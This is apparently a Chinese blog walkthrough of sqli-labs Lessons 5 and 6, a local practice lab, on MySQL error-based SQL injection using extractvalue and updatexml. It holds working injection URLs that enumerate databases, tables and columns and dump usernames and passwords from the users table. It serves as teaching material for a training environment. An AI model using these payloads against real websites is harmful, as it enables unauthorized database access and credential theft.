【Less-5/6】报错注入


一、报错注入知识铺垫

报错注入:extractvalue、updatexml报错原理

在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:

  • ExtractValue() 使用XPath表示法从XML字符串中提取值
  • UpdateXML() 返回替换的XML片段

当这两个函数在执行时,如果出现xml文档路径错误就会产生报错。

1、extractvalue函数
  • 语法:ExtractValue(xml_frag, xpath_expr)
  • 接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
  • extractvalue使用时当xpath_expr格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • 第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b');就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

在这里插入图片描述

  • http://localhost/sqli-labs/Less-5?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e)) -- +
  • 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
  • 该语句对输出的字符长度也做了限制,其最长输出32位

在这里插入图片描述

2、updatexml函数
  • 语法:UpdateXML(xml_target, xpath_expr, new_xml)
  • xml_target:: 需要操作的xml片段
  • xpath_expr: 需要更新的xml路径(Xpath格式)
  • new_xml: 更新后的内容
  • updatexml使用时,当xpath_expr格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。

  • http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),3) -- +
  • 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
  • 同样该语句对输出的字符长度也做了限制,其最长输出32位

在这里插入图片描述

二、报错注入复现
1、判断注入点
http://localhost/sqli-labs/Less-5?id=1

在这里插入图片描述

http://localhost/sqli-labs/Less-5?id=1'

在这里插入图片描述

http://localhost/sqli-labs/Less-5?id=1' and 1=1 -- +   // 字符型注入

在这里插入图片描述

http://localhost/sqli-labs/Less-5?id=1' and 1=2 -- +

在这里插入图片描述

http://localhost/sqli-labs/Less-5?id=-1

在这里插入图片描述
综合以上操作可以得出结论:

  • 页面无回显,不会显示我们的查询结果。
  • 查询语句正确时页面会打印You are in...........,错误则不显示。

可以通过布尔盲注来判断我们想要的信息,参考文章:https://www.cnblogs.com/Xy–1/p/12726288.html

这里我们用报错的注入方式。

2、报错查询

查询数据库及相关信息

http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1) -- +

在这里插入图片描述
查询当前数据库的所有表

http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- +

在这里插入图片描述
查询users表字段信息

http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) -- +

在这里插入图片描述
查询用户和用户密码

http://localhost/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,(select group_concat(concat_ws(" ",username,password)) from security.users),0x7e),1) -- +

在这里插入图片描述
该语句对输出的字符长度也做了限制,其最长输出32位。上图显示的用户信息长度为32位。

第六关和第五关相同,单引号变双引号!

在这里插入图片描述

三、总结

本关sql注入可以实现的三种方式:

布尔盲注:

  • 没有WAF
  • 对请求次数没有限制

报错注入

  • sql版本大于5.1
  • 输出的字符长度也做了限制,其最长输出32位

DNSLog注入

参考文章:

https://developer.aliyun.com/article/692723

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

多学点技术

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值